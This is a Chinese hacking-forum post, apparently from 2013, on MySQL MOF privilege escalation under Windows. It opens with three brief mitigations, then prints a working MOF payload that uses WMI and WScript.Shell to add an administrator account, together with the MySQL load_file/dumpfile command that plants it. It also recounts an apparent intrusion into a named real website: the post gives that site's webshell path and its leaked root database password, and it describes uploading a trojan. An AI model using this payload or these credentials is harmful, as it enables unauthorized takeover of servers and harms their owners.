找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2282|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法% h% H" |5 w2 Q1 |

, W! U/ U1 B+ \网上公开的一些利用代码:$ x. I7 T% ]8 Y* k, ]3 H+ D* d
, X" B& j" m* ~; e* v' K' _
#pragma namespace(“\\\\.\\root\\subscription”)! V8 P% T) k( g# ~/ c0 s! H

: S7 s! f4 o6 Z" X- o' W3 \6 j1 Dinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
4 o5 U0 s# L+ `- h: w! N
2 v5 X+ e+ f% O  J9 \' E" R
- _9 K. a* F3 w1 u8 b9 K! s4 \" K% Y1 j' `* g5 f

9 W. a- [& R$ T: ~
8 d+ @5 v) R% U9 [4 h+ c( F: o连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;% ]8 u6 d3 f/ w' ^
从上面代码来看得出解决办法:0 L6 r( z# h" d, G, e+ R

- k, J7 H& p4 D, u& ^0 {1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数6 [& {5 P* Z5 k2 W$ Q2 H$ x

8 z/ h. m' [4 V) [2 J3 b* G2、禁止使用”WScript.Shel”组件3 g  K9 e+ Y2 H, i: \1 f) a6 p

9 R+ j7 N  w: ^/ k" Z, q3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER# v* Q% @6 b! _7 a
. S3 }4 s$ n3 |  {/ f# v; P. P/ w
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下( K3 y8 |4 |4 S0 V

9 p5 H2 A. E) J; B事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权6 z/ i$ J' r# b/ ?3 d/ I

2 u+ U7 }/ l9 F9 a1 t但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容0 u  j8 N7 S0 x* X1 X6 |! ^
) Q- @1 w& C$ K$ \" o* b3 x  \
看懂了后就开始练手吧( T, b" c2 ]. }: L# O8 {

' V, j  d! N) x: e( L( chttp://www.webbmw.com/config/config_ucenter.php 一句话 a
  J* F) g3 M, i$ q3 u9 q" K. n
+ Z! z; ~/ ?0 }" C1 @; l$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。: W% S! Y( _+ t
6 `- x; p, |) l7 m. T
于是直接用菜刀开搞
, h* F$ k/ O( s* U4 s# `# b0 K$ a, r5 N1 c/ j: a
上马先5 u3 {2 L+ p6 k9 R( z, y
( l, _% A: B3 ?& D
既然有了那些账号 之类的 于是我们就执行吧……." ^  I0 k6 g& r% u4 [; Y

+ y. Q' u+ u2 [7 {1 e5 L. B小小的说下- ^4 B" r* T5 x$ ^/ v4 s

; V4 s+ e5 f9 @) j4 D在这里第1次执行未成功        原因未知( Y# p) i1 S2 k
& t) W8 o( F% N$ c8 E& L
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
. q2 z  f6 E+ ~  F8 P' X5 v$ k+ L5 d# G
#pragma namespace(“\\\\.\\root\\subscription”)
' f% I3 h/ S3 _3 q+ j/ f
0 I$ A$ J7 j5 V+ G% b' e0 Minstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };" l- X9 H/ W9 H

( k' Q' C# e  r$ v- L' G. O我是将文件放到C:\WINDOWS\temp\1.mof
/ c0 m) v6 M' `* Y- o6 m+ K' ~
& s# h: q* @9 Z0 `  m/ i所以我们就改下执行的代码, ?8 k$ N& M) ]4 c

% M) [4 M4 f  ?" yselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
  X9 f: H8 l8 y8 G
& [3 _6 |" v& \& O) x- O  N( l8 d6 }/ }; ?6 {6 P( W/ a
' u% O+ T+ A7 z+ d, {  X9 L
但是 你会发现账号还是没有躺在那里。。
0 c7 E2 N! Q4 e. i+ b% |, A1 Y" Y/ P! u  r: F( E  w1 F
于是我就感觉蛋疼8 b1 y4 x, W- M, ]/ V

( ^. L& E9 D1 r就去一个一个去执行 但是执行到第2个 mysql时就成功了………
7 K9 X! f* y- o5 s8 ^+ e* N7 |2 `" A9 \! h! C
" U5 K2 O7 E1 s2 u8 b1 R
7 K& ?& v& j% W/ a7 Q
但是其他库均不成功…
; ?; A; I/ t( l1 K. T" r* X- N* G1 p( \1 l2 g+ |3 P4 L3 h
我就很费解呀 到底为什么不成功求大牛解答…# O7 p: K# i6 X' q  r" s5 B
- @/ F5 x  j. t5 O* K$ ?1 l) q+ B

$ y- X( w, R3 o" L0 J; I) t0 M8 [+ A( H; L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表